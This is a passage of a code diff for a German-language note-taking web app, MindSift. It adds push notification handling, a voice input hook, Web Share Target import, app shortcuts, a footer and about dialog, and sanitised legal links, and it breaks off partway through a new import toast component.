+    return;
+  }
   if (request.method !== 'GET') return;
   const url = new URL(request.url);
   if (url.origin !== self.location.origin || url.pathname.startsWith('/api/')) return;
@@ -90,7 +178,42 @@ self.addEventListener('fetch', (event) => {
     event.respondWith(networkFirstPage(request));
   } else if (url.pathname.startsWith('/assets/')) {
     event.respondWith(cacheFirstAsset(request));
+  } else if (url.pathname === '/manifest.json') {
+    event.respondWith(networkFirstShell(request));
   } else if (SHELL_URLS.includes(url.pathname)) {
     event.respondWith(staleWhileRevalidate(request));
   }
 });
+
+// Web push: show the notification; a click focuses an open MindSift window or opens a new one
+self.addEventListener('push', (event) => {
+  let msg = {};
+  try {
+    msg = event.data ? event.data.json() : {};
+  } catch {
+    msg = { body: event.data ? event.data.text() : '' };
+  }
+  event.waitUntil(
+    self.registration.showNotification(msg.title || 'MindSift', {
+      body: msg.body || '',
+      icon: '/icon-192x192.png',
+      // Status bar icon: Android only uses the alpha channel, the full app icon became a plain square
+      badge: '/badge-96x96.png',
+      tag: msg.tag || undefined,
+      data: { url: msg.url || '/' },
+    })
+  );
+});
+
+self.addEventListener('notificationclick', (event) => {
+  event.notification.close();
+  const target = new URL((event.notification.data && event.notification.data.url) || '/', self.location.origin);
+  event.waitUntil(
+    self.clients.matchAll({ type: 'window', includeUncontrolled: true }).then((windows) => {
+      for (const w of windows) {
+        if (new URL(w.url).origin === target.origin && 'focus' in w) return w.focus();
+      }
+      return self.clients.openWindow(target.href);
+    })
+  );
+});

frontend/src/App.tsx

@@ -23,6 +23,7 @@ import {
   Flame,
   Mic,
   MicOff,
+  Loader2,
   Search,
 } from 'lucide-react';
 import { AuthStatus, DashboardStats, PriorityLevel, SharedList, Thought, User, UserTheme } from './lib/types';
@@ -35,10 +36,15 @@ import {
   disconnectWebSocket,
   isSharingDisabled,
 } from './lib/api';
+import { useVoiceInput } from './lib/useVoiceInput';
+import { VoiceWave } from './components/VoiceWave';
 import {
   AVAILABLE_THEMES,
   customThemeOption,
   initThemeOnBoot,
+  hasChosenTheme,
+  DEMO_THEME,
+  watchSystemScheme,
   isCustomThemeId,
   setActiveTheme as applyTheme,
   ThemeId,
@@ -52,6 +58,8 @@ import { WorkspaceView } from './features/workspace/WorkspaceView';
 import { SharedListsView } from './features/lists/SharedListsView';
 import { SetupAndAuthView } from './features/auth/SetupAndAuthView';
 import { OfflineBanner } from './components/OfflineBanner';
+import { useServerOnline } from './lib/useServerOnline';
+import { SharedImportToast } from './components/SharedImportToast';
 import { outboxCount, clearOfflineData } from './lib/offline';
 import { DemoCountdown } from './components/DemoCountdown';
 import { UserSettingsView } from './features/settings/UserSettingsView';
@@ -62,6 +70,10 @@ import { useMobileActions } from './context/MobileActionContext';
 import { MobileHeaderMenu } from './components/MobileHeaderMenu';
 import { UserAvatar } from './components/UserAvatar';
 import { CommandPalette } from './components/CommandPalette';
+import { AppFooter } from './components/AppFooter';
+import { ThemeQuickPicker } from './components/ThemeQuickPicker';
+import { AboutModal } from './components/AboutModal';
+import { consumePendingShares, formatSharedThought } from './lib/shareTarget';
 import { APP_VERSION } from './version';
 
 type ActiveTab =
@@ -128,6 +140,9 @@ export const App: React.FC = () => {
   const [demoDeadline, setDemoDeadline] = useState<number | null>(null);
   const [dataEpoch, setDataEpoch] = useState(0);
   const [demoNotice, setDemoNotice] = useState<string | null>(null);
+  // Just shared from another app: these Quick Dump entries can still be sent on as task / list item
+  const [sharedImportIds, setSharedImportIds] = useState<string[] | null>(null);
+  const closeSharedImport = useCallback(() => setSharedImportIds(null), []);
   const lastDemoResetRef = useRef(0);
   const handleDemoResetRef = useRef<() => void>(() => {});
   // Link from the password reset mail (?resetToken=…); removed from the address bar right away
@@ -167,6 +182,8 @@ export const App: React.FC = () => {
 
   // Profile Dropdown State
   const [showProfileMenu, setShowProfileMenu] = useState(false);
+  const serverOnline = useServerOnline();
+  const [showAbout, setShowAbout] = useState(false);
   const dropdownRef = useRef<HTMLDivElement | null>(null);
 
   // Mobile Navigation & Quick-Action State
@@ -175,49 +192,31 @@ export const App: React.FC = () => {
   const [mobileTriageContent, setMobileTriageContent] = useState('');
   const [mobileTriagePriority, setMobileTriagePriority] = useState<PriorityLevel>('normal');
   const [mobileTriageDueDate, setMobileTriageDueDate] = useState('');
-  const [mobileVoiceActive, setMobileVoiceActive] = useState(false);
   const [isVoiceCaptured, setIsVoiceCaptured] = useState(false);
-  const mobileRecognitionRef = useRef<any>(null);
+  const [mobileVoiceError, setMobileVoiceError] = useState<string | null>(null);
   const mobileBaseVoiceRef = useRef('');
+  // Voice input of the mobile capture sheet: own Whisper server or the browser (lib/voice.ts)
+  const mobileVoice = useVoiceInput({
+    onText: (text) => {
+      if (!text) return;
+      const base = mobileBaseVoiceRef.current;
+      setMobileTriageContent(base ? `${base} ${text}` : text);
+      setIsVoiceCaptured(true);
+    },
+    onError: (message) => {
+      setMobileVoiceError(message);
+      window.setTimeout(() => setMobileVoiceError(null), 4000);
+    },
+  });
+  const mobileVoiceActive = mobileVoice.state === 'listening';
 
   const toggleMobileVoice = () => {
-    const SpeechRecognition =
-      (window as any).SpeechRecognition || (window as any).webkitSpeechRecognition;
-    if (!SpeechRecognition) {
-      alert('Spracheingabe wird von diesem Browser leider nicht unterstützt.');
-      return;
-    }
-    if (mobileVoiceActive && mobileRecognitionRef.current) {
-      mobileRecognitionRef.current.stop();
-      setMobileVoiceActive(false);
-      return;
-    }
-    try {
+    if (mobileVoice.state === 'idle') {
       mobileBaseVoiceRef.current = mobileTriageContent.replace(/\s*\[…\]$/, '').trim();
-      const recognition = new SpeechRecognition();
-      recognition.lang = 'de-DE';
-      recognition.continuous = false;
-      recognition.interimResults = true;
-      recognition.onstart = () => {
-        setMobileVoiceActive(true);
+      setMobileVoiceError(null);
       triggerHaptic(20);
-      };
-      recognition.onresult = (event: any) => {
-        let transcript = '';
-        for (let i = 0; i < event.results.length; i++) {
-          transcript += event.results[i][0].transcript;
-        }
-        const base = mobileBaseVoiceRef.current;
-        setMobileTriageContent(base ? `${base} ${transcript}` : transcript);
-        setIsVoiceCaptured(true);
-      };
-      recognition.onerror = () => setMobileVoiceActive(false);
-      recognition.onend = () => setMobileVoiceActive(false);
-      mobileRecognitionRef.current = recognition;
-      recognition.start();
-    } catch {
-      setMobileVoiceActive(false);
     }
+    mobileVoice.toggle();
   };
 
   const handleMobileCreateTriage = async (e: React.FormEvent) => {
@@ -249,11 +248,39 @@ export const App: React.FC = () => {
     setMobileTriagePriority('normal');
     setMobileTriageDueDate('');
     setIsVoiceCaptured(false);
-    setMobileVoiceActive(false);
+    if (mobileVoice.state !== 'idle') mobileVoice.cancel();
     setShowMobileCapture(true);
   };
 
   const { isMenuOpen, setIsMenuOpen, closeMenu, setGroups, primaryAction, setPrimaryAction } = useMobileActions();
+  const primaryActionRef = useRef(primaryAction);
+  primaryActionRef.current = primaryAction;
+
+  // App icon shortcuts (manifest "shortcuts", long-press on the icon): open the tab and its input right away.
+  // ?shortcut=quickdump|task|list; the old links (?mode=capture, ?tab=triage) still lead to the Quick Dump.
+  const [pendingShortcut, setPendingShortcut] = useState<ActiveTab | null>(() => {
+    const params = new URLSearchParams(window.location.search);
+    const target = params.get('shortcut') || (params.get('mode') === 'capture' || params.get('tab') === 'triage' ? 'quickdump' : '');
+    return ({ quickdump: 'triage', task: 'tasks', list: 'lists' } as Record<string, ActiveTab>)[target] || null;
+  });
+  useEffect(() => {
+    if (!pendingShortcut || !user) return;
+    if (activeTab !== pendingShortcut) {
+      setActiveTab(pendingShortcut);
+      return;
+    }
+    const target = pendingShortcut;
+    setPendingShortcut(null);
+    const url = new URL(window.location.href);
+    ['shortcut', 'mode', 'tab'].forEach((k) => url.searchParams.delete(k));
+    window.history.replaceState({}, '', url.pathname + url.search + url.hash);
+    // The view registers its "+" action once it is mounted, so wait a moment (no cleanup: resetting
+    // pendingShortcut above re-runs this effect and must not cancel the timer)
+    window.setTimeout(() => {
+      if (target === 'triage') handleTriggerAddButton();
+      else if (window.innerWidth < 640 || target === 'lists') primaryActionRef.current?.();
+    }, 400);
+  }, [pendingShortcut, user?.id, activeTab]);
 
   useEffect(() => {
     closeMenu();
@@ -453,6 +480,9 @@ export const App: React.FC = () => {
     setActiveThemeState(isCustomThemeId(themeId) && css === undefined ? 'dark' : themeId);
   };
 
+  // "Wie System": the theme follows the system's light/dark switch while the app is open
+  useEffect(() => watchSystemScheme(setActiveThemeState), []);
+
   const handleChangeTheme = (themeId: ThemeId) => {
     triggerHaptic(10);
     activateTheme(themeId, customThemes);
@@ -567,6 +597,60 @@ export const App: React.FC = () => {
     );
   }, [authStatus.demoMode, authStatus.demoResetInSeconds]);
 
+  // Demo: first visit on this device starts with a round theme instead of the square default
+  useEffect(() => {
+    if (!authStatus.demoMode || hasChosenTheme()) return;
+    applyTheme(DEMO_THEME);
+    setActiveThemeState(DEMO_THEME);
+  }, [authStatus.demoMode]);
+
+  // Web Share Target: import shared thoughts from external apps
+  useEffect(() => {
+    if (!user) return;
+    const params = new URLSearchParams(window.location.search);
+    const hasPendingShare = params.get('shared') === 'pending';
+
+    const processShares = async () => {
+      try {
+        const shares = await consumePendingShares();
+        if (shares.length === 0) return;
+
+        let importedCount = 0;
+        const ids: string[] = [];
+        for (const share of shares) {
+          const content = formatSharedThought(share);
+          if (content) {
+            const created = await api.captureThought(content, 'normal', 'manual', '', { target: 'inbox' });
+            importedCount++;
+            if (created?.id && !created.id.startsWith('th_offline_')) ids.push(created.id);
+          }
+        }
+
+        if (importedCount > 0) {
+          triggerHaptic(15);
+          if (ids.length === importedCount) {
+            setSharedImportIds(ids);
+          } else {
+            // Offline: kept for later, nothing to convert yet
+            setDemoNotice('Im Quick Dump abgelegt');
+            setTimeout(() => setDemoNotice(null), 4000);
+          }
+          refreshAll();
+        }
+      } catch (err) {
+        console.error('Fehler beim Import geteilter Daten:', err);
+      } finally {
+        if (hasPendingShare) {
+          const url = new URL(window.location.href);
+          url.searchParams.delete('shared');
+          window.history.replaceState({}, '', url.pathname + (url.search ? url.search : '') + url.hash);
+        }
+      }
+    };
+
+    processShares();
+  }, [user, refreshAll]);
+
   // The demo database was reset: drop cached answers of the old data, remount the views (they load
   // fresh data), refresh counters and the countdown. Sessions stay valid (fixed demo account IDs).
   const handleDemoReset = useCallback(() => {
@@ -594,8 +678,20 @@ export const App: React.FC = () => {
     }, 5000);
   }, []);
 
-  // Refresh stats on task/doc/list real-time events (counters in the navigation)
+  // Refresh stats on task/doc/list real-time events (counters in the navigation). Task events also
+  // reload the triage deck: a note sorted on another device must leave this deck too.
   useEffect(() => {
+    let deckTimer: number | undefined;
+    const reloadDeck = () => {
+      window.clearTimeout(deckTimer);
+      deckTimer = window.setTimeout(() => {
+        api.getTriageDeck().then((res) => setDeck(Array.isArray(res) ? res : [])).catch(() => {});
+      }, 300);
+    };
+    // Events missed while the tab slept (desktop in the background, connection dropped)
+    const onVisible = () => {
+      if (document.visibilityState === 'visible' && getToken()) refreshAll();
+    };
     const handleWs = (e: any) => {
       const msg = e.detail;
       if (!msg) return;
@@ -610,13 +706,17 @@ export const App: React.FC = () => {
         api.getMe().then((res) => {
           setStats(res.stats);
         }).catch(() => {});
+        if (msg.event.startsWith('TASK_')) reloadDeck();
       }
     };
     window.addEventListener('mindsift:ws', handleWs);
+    document.addEventListener('visibilitychange', onVisible);
     return () => {
+      window.clearTimeout(deckTimer);
       window.removeEventListener('mindsift:ws', handleWs);
+      document.removeEventListener('visibilitychange', onVisible);
     };
-  }, []);
+  }, [refreshAll]);
 
   // Close profile dropdown on outside click
   useEffect(() => {
@@ -765,7 +865,11 @@ export const App: React.FC = () => {
   };
 
   return (
-    <div className="min-h-screen bg-canvas text-main flex flex-col font-sans selection:bg-accent/30">
+    <div
+      className={`bg-canvas text-main flex flex-col font-sans selection:bg-accent/30 ${
+        activeTab === 'workspace' ? 'h-[100dvh] overflow-hidden' : 'min-h-screen'
+      }`}
+    >
       {/* Top Header Bar: Floating on mobile, solid panel on desktop */}
       <header className="sticky top-0 z-30 bg-canvas/85 backdrop-blur-md sm:bg-panel sm:border-b sm:border-border sm:shadow-sm">
         {/* Mobile Header: Floating Bar with Logo Action Dropdown Left & Profile Avatar Right */}
@@ -831,11 +935,14 @@ export const App: React.FC = () => {
                 triggerHaptic(10);
                 setShowCommandPalette(true);
               }}
-              className="w-11 h-11 rounded-full flex items-center justify-center text-muted hover:text-main bg-panel border border-border transition-transform active:scale-95 cursor-pointer"
+              className="w-11 h-11 rounded-full flex items-center justify-center text-muted hover:text-main transition-transform active:scale-95 cursor-pointer"
               title="Globale Suche"
               aria-label="Globale Suche öffnen"
             >
+              {/* Same visible size as the avatar next to it; the 44px button stays the touch target */}
+              <span className="w-9 h-9 rounded-full flex items-center justify-center bg-panel border border-border">
                 <Search className="w-4 h-4" />
+              </span>
             </button>
 
             <button
@@ -851,7 +958,17 @@ export const App: React.FC = () => {
               }`}
               title="Profil & Einstellungen"
             >
-              <UserAvatar user={user} size="sm" className="shadow-sm" />
+              <span className="relative">
+                <UserAvatar user={user} size="md" className="shadow-sm" />
+                {/* Connection status like in a chat app: green online, red without server */}
+                <span
+                  role="status"
+                  aria-label={serverOnline ? 'Online' : 'Offline – keine Verbindung zum Server'}
+                  className={`absolute bottom-0 right-0 w-2.5 h-2.5 rounded-full ring-2 ring-canvas ${
+                    serverOnline ? 'bg-status-ok' : 'bg-status-err'
+                  }`}
+                />
+              </span>
             </button>
           </div>
         </div>
@@ -917,14 +1034,26 @@ export const App: React.FC = () => {
               title="Benutzermenü öffnen"
             >
               <UserAvatar user={user} size="sm" />
+              <span className="flex flex-col items-start leading-tight">
                 <span className="max-w-[130px] truncate hidden sm:inline text-main font-medium">
                   {user.displayName}
                 </span>
+                {!serverOnline && (
+                  <span
+                    role="status"
+                    title="Keine Verbindung zum Server – Änderungen werden später synchronisiert"
+                    className="hidden sm:inline-flex items-center gap-1 text-[10px] font-normal text-muted"
+                  >
+                    <span className="w-1.5 h-1.5 rounded-full bg-status-err" />
+                    offline
+                  </span>
+                )}
+              </span>
               <ChevronDown className="w-3.5 h-3.5 text-muted group-hover:text-main transition-colors" />
             </button>
 
             {showProfileMenu && (
-              <div className="absolute right-0 top-full mt-1.5 w-64 panel-surface shadow-panel z-50 divide-y divide-border text-xs">
+              <div className="absolute right-0 top-full mt-1.5 w-64 panel-surface shadow-panel overflow-hidden z-50 divide-y divide-border text-xs origin-top-right animate-in fade-in zoom-in-95 slide-in-from-top-1 duration-150">
                 {/* User Info Header */}
                 <div className="p-3 bg-canvas flex items-center gap-2.5">
                   <UserAvatar user={user} size="md" className="border border-border/70" />
@@ -943,26 +1072,7 @@ export const App: React.FC = () => {
                     <Palette className="w-3 h-3 text-accent" />
                     <span>Design-Theme</span>
                   </span>
-                  <div className="grid grid-cols-2 gap-1">
-                    {allThemes.map((t) => (
-                      <button
-                        key={t.id}
-                        type="button"
-                        onClick={() => handleChangeTheme(t.id)}
-                        className={`h-7 px-2 text-[11px] font-medium border rounded-btn flex items-center gap-1.5 transition-colors ${
-                          activeTheme === t.id
-                            ? 'bg-panel-elevated border-accent text-main font-semibold'
-                            : 'bg-canvas border-border text-muted hover:text-main'
-                        }`}
-                      >
-                        <span
-                          className="w-2.5 h-2.5 border border-strong flex-shrink-0"
-                          style={{ backgroundColor: t.previewBg }}
-                        />
-                        <span className="truncate">{t.name.replace('MindSift ', '').split(' ')[0]}</span>
-                      </button>
-                    ))}
-                  </div>
+                  <ThemeQuickPicker activeTheme={activeTheme} themes={allThemes} onChange={handleChangeTheme} />
                 </div>
 
                 {/* Menu Items */}
@@ -1118,6 +1228,19 @@ export const App: React.FC = () => {
 
       <MobileHeaderMenu activeTabLabel={activeTabLabelMap[activeTab]} />
       <OfflineBanner />
+      {sharedImportIds && (
+        <SharedImportToast
+          thoughtIds={sharedImportIds}
+          lists={lists}
+          onClose={closeSharedImport}
+          onConverted={(message) => {
+            setSharedImportIds(null);
+            setDemoNotice(message);
+            setTimeout(() => setDemoNotice(null), 3000);
+            refreshAll();
+          }}
+        />
+      )}
       {demoNotice && (
         <div
           role="status"
@@ -1128,9 +1251,14 @@ export const App: React.FC = () => {
       )}
 
       {/* Main Container */}
-      <main className="flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 sm:pb-6">
+      {/* The workspace fills the window exactly and scrolls only inside the note, never the page */}
+      <main
+        className={`flex-1 max-w-6xl w-full mx-auto px-3 sm:px-4 pt-3 pb-24 ${
+          activeTab === 'workspace' ? 'min-h-0 flex flex-col sm:pb-0' : 'sm:pb-6'
+        }`}
+      >
         <ViewErrorBoundary onReset={() => setActiveTab('triage')}>
-          <section key={dataEpoch}>
+          <section key={dataEpoch} className={activeTab === 'workspace' ? 'flex-1 min-h-0 flex flex-col' : undefined}>
             {activeTab === 'triage' && (
               <TriageDeck
                 deck={deck}
@@ -1208,6 +1336,11 @@ export const App: React.FC = () => {
         </ViewErrorBoundary>
       </main>
 
+      <AppFooter
+        legal={authStatus.legal}
+        onOpenAbout={() => setShowAbout(true)}
+      />
+
       {/* MOBILE BOTTOM NAVIGATION BAR (5 equal columns -> + FAB is dead-center) */}
       <nav className="sm:hidden fixed bottom-0 left-0 right-0 z-40 bg-panel/95 backdrop-blur-md border-t border-border px-2 pt-1.5 pb-[calc(0.5rem+env(safe-area-inset-bottom))] grid grid-cols-5 items-center shadow-panel">
         {/* Col 1: Triage */}
@@ -1341,22 +1474,50 @@ export const App: React.FC = () => {
                     autoFocus
                     value={mobileTriageContent}
                     onChange={(e) => setMobileTriageContent(e.target.value)}
-                    placeholder="Was geht dir durch den Kopf?…"
-                    className="w-full input-field px-3 py-2 pr-10 text-sm"
+                    placeholder={
+                      mobileVoiceError
+                        ? mobileVoiceError
+                        : mobileVoiceActive
+                          ? 'Ich höre zu…'
+                          : mobileVoice.state === 'transcribing'
+                            ? 'Wird erkannt…'
+                            : 'Was geht dir durch den Kopf?…'
+                    }
+                    className={
+                      mobileVoiceActive && mobileVoice.mode === 'server'
+                        ? 'w-full input-field px-3 py-2 pr-24 text-sm'
+                        : 'w-full input-field px-3 py-2 pr-10 text-sm'
+                    }
                   />
+                  {mobileVoice.available && (
+                    <div className="absolute right-1.5 top-1/2 -translate-y-1/2 flex items-center gap-2">
+                      {mobileVoiceActive && mobileVoice.mode === 'server' && (
+                        <VoiceWave getLevel={mobileVoice.level} bars={7} className="h-4 text-accent" />
+                      )}
                       <button
                         type="button"
                         onClick={toggleMobileVoice}
-                    className={`absolute right-1.5 top-1/2 -translate-y-1/2 w-7 h-7 rounded-full flex items-center justify-center transition-colors cursor-pointer ${
+                        disabled={mobileVoice.state === 'transcribing'}
+                        className={`w-9 h-9 rounded-full flex items-center justify-center transition-colors cursor-pointer ${
                           mobileVoiceActive
-                        ? 'bg-accent text-on-accent animate-pulse'
+                            ? mobileVoice.mode === 'server'
+                              ? 'bg-status-err text-on-accent'
+                              : 'bg-accent text-on-accent animate-pulse'
                             : 'text-muted hover:text-main hover:bg-panel-elevated'
                         }`}
-                    title="Spracheingabe"
+                        title={mobileVoiceActive ? 'Aufnahme beenden' : 'Spracheingabe'}
                       >
-                    {mobileVoiceActive ? <MicOff className="w-3.5 h-3.5" /> : <Mic className="w-3.5 h-3.5" />}
+                        {mobileVoice.state === 'transcribing' ? (
+                          <Loader2 className="w-4 h-4 animate-spin" />
+                        ) : mobileVoiceActive ? (
+                          <MicOff className="w-4 h-4" />
+                        ) : (
+                          <Mic className="w-4 h-4" />
+                        )}
                       </button>
                     </div>
+                  )}
+                </div>
               </div>
 
               {/* Priority - 4 Buttons (Identical to TasksView) */}
@@ -1486,26 +1647,7 @@ export const App: React.FC = () => {
                 <Palette className="w-3.5 h-3.5 text-accent" />
                 <span>Design-Theme</span>
               </span>
-              <div className="grid grid-cols-2 gap-2">
-                {allThemes.map((t) => (
-                  <button
-                    key={t.id}
-                    type="button"
-                    onClick={() => handleChangeTheme(t.id)}
-                    className={`h-9 px-2.5 text-xs font-medium border rounded-btn flex items-center gap-2 transition-colors cursor-pointer ${
-                      activeTheme === t.id
-                        ? 'bg-panel-elevated border-accent text-main font-semibold'
-                        : 'bg-canvas border-border text-muted hover:text-main'
-                    }`}
-                  >
-                    <span
-                      className="w-3 h-3 border border-strong flex-shrink-0 rounded-full"
-                      style={{ backgroundColor: t.previewBg }}
-                    />
-                    <span className="truncate">{t.name.replace('MindSift ', '')}</span>
-                  </button>
-                ))}
-              </div>
+              <ThemeQuickPicker activeTheme={activeTheme} themes={allThemes} onChange={handleChangeTheme} touch />
             </div>
 
             {/* Menu Items */}
@@ -1572,6 +1714,19 @@ export const App: React.FC = () => {
                 <span>Hilfe & Anleitung</span>
               </button>
 
+              <button
+                type="button"
+                onClick={() => {
+                  triggerHaptic(10);
+                  setShowMobileProfile(false);
+                  setShowAbout(true);
+                }}
+                className="w-full px-3 py-2.5 rounded-btn text-left flex items-center gap-3 hover:bg-panel-elevated transition-colors text-xs cursor-pointer text-main"
+              >
+                <Brain className="w-4 h-4 text-accent" />
+                <span>Über MindSift</span>
+              </button>
+
               {isServerAdmin && (
                 <button
                   type="button"
@@ -1604,6 +1759,11 @@ export const App: React.FC = () => {
                 <span>Abmelden</span>
               </button>
             </div>
+
+            {/* Version & About Hint on Mobile */}
+            <div className="pt-2 text-center text-[10px] text-faint font-mono">
+              MindSift {APP_VERSION}
+            </div>
           </div>
         </div>
       )}
@@ -1661,6 +1821,18 @@ export const App: React.FC = () => {
               </div>
             ) : (
               <div className="space-y-3 pt-1">
+                {/* Chrome may report "installable" only after the guide opened (e.g. shortly after the
+                    old app was removed): then the real install is one tap away again */}
+                {deferredPwaPrompt && (
+                  <button
+                    type="button"
+                    onClick={handleInstallWebApp}
+                    className="btn-primary w-full h-12 text-sm font-semibold rounded-xl flex items-center justify-center gap-2 shadow-md active:scale-98 transition-transform cursor-pointer"
+                  >
+                    <Download className="w-4 h-4" />
+                    <span>Jetzt installieren</span>
+                  </button>
+                )}
                 <div className="p-3.5 rounded-xl bg-canvas border border-border space-y-2.5 text-xs text-main">
                   <p className="font-semibold text-accent flex items-center gap-1.5">
                     <Smartphone className="w-4 h-4" />
@@ -1703,6 +1875,8 @@ export const App: React.FC = () => {
         onOpenTask={handleOpenTask}
         onOpenList={handleOpenList}
       />
+
+      {showAbout && <AboutModal onClose={() => setShowAbout(false)} />}
     </div>
   );
 };

frontend/src/components/AppFooter.tsx

@@ -0,0 +1,29 @@
+import React from 'react';
+import { AuthStatus } from '../lib/types';
+import { APP_VERSION } from '../version';
+import { LegalLinks } from './LegalLinks';
+
+interface AppFooterProps {
+  legal?: AuthStatus['legal'];
+  onOpenAbout: () => void;
+}
+
+export const AppFooter: React.FC<AppFooterProps> = ({ legal, onOpenAbout }) => {
+  // One small, even line: same font, size and weight for every part (mixed mono/bold looked crooked)
+  const item = 'leading-none hover:text-muted transition-colors cursor-pointer';
+  return (
+    <footer className="hidden sm:flex shrink-0 w-full max-w-6xl mx-auto px-4 py-1.5 items-center justify-between text-[10px] leading-none text-faint select-none">
+      <div className="flex items-center gap-1.5">
+        <button type="button" onClick={onOpenAbout} className={item} title="Über MindSift & Versionsdetails">
+          MindSift {APP_VERSION}
+        </button>
+        <span aria-hidden>·</span>
+        <button type="button" onClick={onOpenAbout} className={item}>
+          Über MindSift
+        </button>
+      </div>
+
+      <LegalLinks legal={legal} className="!text-[10px] !text-faint !gap-x-3 leading-none" />
+    </footer>
+  );
+};

frontend/src/components/FormSheet.tsx

@@ -16,7 +16,8 @@ interface FormSheetProps {
 }
 
 // Small create/rename dialogs. Phone: bottom sheet directly above the keyboard, full width, large
-// fields. Desktop: centred dialog (or next to the click). Escape and the backdrop close it.
+// fields, square at the bottom with only a top border (like the other sheets: it docks to the keyboard
+// even with a rounded theme, whose panel-surface would round all corners). Desktop: centred dialog (or next to the click). Escape and the backdrop close it.
 export const FormSheet: React.FC<FormSheetProps> = ({
   title,
   icon,
@@ -36,7 +37,12 @@ export const FormSheet: React.FC<FormSheetProps> = ({
   }, [onClose]);
 
   const desktopAnchor = anchor
-    ? ({ '--sheet-left': `${anchor.x}px`, '--sheet-top': `${anchor.y}px` } as React.CSSProperties)
+    ? ({
+        '--sheet-left': `${anchor.x}px`,
+        '--sheet-top': `${anchor.y}px`,
+        '--sheet-x': `clamp(12px, calc(${anchor.x}px - 8.25rem), calc(100vw - 16.5rem - 12px))`,
+        '--sheet-y': `calc(${anchor.y}px + 8px)`,
+      } as React.CSSProperties)
     : undefined;
 
   return (
@@ -51,10 +57,10 @@ export const FormSheet: React.FC<FormSheetProps> = ({
             '--vv-max': visibleHeight ? `${visibleHeight - 16}px` : '85vh',
           } as React.CSSProperties
         }
-        className={`fixed inset-x-0 bottom-[var(--kb-inset)] max-h-[var(--vv-max)] panel-surface rounded-t-2xl border-t border-border shadow-panel p-4 space-y-3 overflow-y-auto
+        className={`fixed inset-x-0 bottom-[var(--kb-inset)] max-h-[var(--vv-max)] panel-surface rounded-t-2xl rounded-b-none border-x-0 border-b-0 border-t border-border shadow-panel p-4 space-y-3 overflow-y-auto
           sm:inset-x-auto sm:bottom-auto sm:max-h-[85vh] sm:w-full sm:rounded-card sm:border ${
             anchor
-              ? 'sm:max-w-[16.5rem] sm:left-[var(--sheet-left)] sm:top-[var(--sheet-top)]'
+              ? 'sm:max-w-[16.5rem] sm:left-[var(--sheet-x)] sm:top-[var(--sheet-y)]'
               : 'sm:max-w-sm sm:left-1/2 sm:top-1/2 sm:-translate-x-1/2 sm:-translate-y-1/2'
           }`}
       >

frontend/src/components/LegalLinks.tsx

@@ -3,6 +3,7 @@ import { AuthStatus } from '../lib/types';
 import { api } from '../lib/api';
 import { MarkdownViewer } from '../lib/markdown';
 import { ReadingModal } from './ReadingModal';
+import { safeHref } from '../lib/safeUrl';
 
 type LegalType = 'imprint' | 'privacy';
 const TITLES: Record<LegalType, string> = { imprint: 'Impressum', privacy: 'Datenschutz' };
@@ -27,7 +28,9 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
     }))
     .filter((e) => e.url || e.hasContent);
 
-  if (entries.length === 0 && !children) return null;
+  const customHref = legal?.customLinkUrl && safeHref(legal.customLinkUrl);
+
+  if (entries.length === 0 && !children && !customHref) return null;
 
   const openText = async (type: LegalType) => {
     setError(null);
@@ -41,8 +44,8 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
   return (
     <div className={`flex flex-wrap items-center justify-center gap-x-4 gap-y-1 text-[11px] text-muted ${className}`}>
       {entries.map((e) =>
-        e.url ? (
-          <a key={e.type} href={e.url} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
+        e.url && safeHref(e.url) ? (
+          <a key={e.type} href={safeHref(e.url) as string} target="_blank" rel="noopener noreferrer" className="hover:text-main underline-offset-2 hover:underline">
             {TITLES[e.type]}
           </a>
         ) : (
@@ -51,6 +54,16 @@ export const LegalLinks: React.FC<LegalLinksProps> = ({ legal, className = '', c
           </button>
         )
       )}
+      {customHref && (
+        <a
+          href={customHref as string}
+          target="_blank"
+          rel="noopener noreferrer"
+          className="hover:text-main underline-offset-2 hover:underline"
+        >
+          {legal?.customLinkLabel || legal?.customLinkUrl}
+        </a>
+      )}
       {children}
       {error && <span className="text-status-err">{error}</span>}
       {open && (

frontend/src/components/SharedImportToast.tsx

@@ -0,0 +1,116 @@
+import React, { useEffect, useState } from 'react';
+import { ArrowRight, CheckSquare, Inbox, ShoppingCart, X } from 'lucide-react';
+import { api, triggerHaptic } from '../lib/api';
+import type { SharedList } from '../lib/types';
+
+// After sharing from another app: the items are already in the Quick Dump (nothing to tap), and for a
+// few seconds they can be sent on as a task or onto a list instead – one tap, the flow stays as fast.
+const AUTO_HIDE_MS = 8000;
+
+interface SharedImportToastProps {
+  thoughtIds: string[]; // created on the server (offline captures have no id yet and get no buttons)
+  lists: SharedList[];
+  onClose: () => void;
+  onConverted: (message: string) => void;
+}
+
+export const SharedImportToast: React.FC<SharedImportToastProps> = ({ thoughtIds, lists, onClose, onConverted }) => {
+  const [choosingList, setChoosingList] = useState(false);
+  const [busy, setBusy] = useState(false);
+  const [failed, setFailed] = useState(false);
+  const writableLists = lists.filter((l) => l.isOwner || l.role !== 'viewer');
+  const count = thoughtIds.length;
+
+  // Disappears on its own unless a list is being picked or a conversion runs
+  useEffect(() => {
+    if (choosingList || busy) return;
+    const timer = window.setTimeout(onClose, AUTO_HIDE_MS);
+    return () => window.clearTimeout(timer);
+  }, [choosingList, busy, onClose]);
+
+  const convert = async (convertTo: 'task' | 'list_item', list?: SharedList) => {
+    triggerHaptic(15);
+    setBusy(true);
+    setFailed(false);
+    try {
+      for (const id of thoughtIds) {
+        await api.triageAction(id, 'keep', { convertTo, targetListId: list?.id });
+      }
+      const what = count === 1 ? 'Eintrag' : `${count} Einträge`;
+      onConverted(convertTo === 'task' ? `${count === 1 ? 'Als Aufgabe' : `${count} Aufgaben`} angelegt` : `${what} auf „${list?.title}“`);
+    } catch {
+      setFailed(true);
+      setBusy(false);
+    }
+  };
+
+  const toList = () => {
+    if (writableLists.length === 1) convert('list_item', writableLists[0]);
+    else setChoosingList(true);
+  };
+
+  const big =
+    'min-h-[52px] px-3 py-2 rounded-xl text-sm font-semibold flex items-center justify-center gap-2 touch-manipulation cursor-pointer active:scale-98 disabled:opacity-50';
+
+  return (
+    <>
+      {/* Tapping anywhere else closes it (transparent, the page stays visible) */}
+      <div className="fixed inset-0 z-[59]" onClick={onClose} aria-hidden />
+      <div
+        role="status"
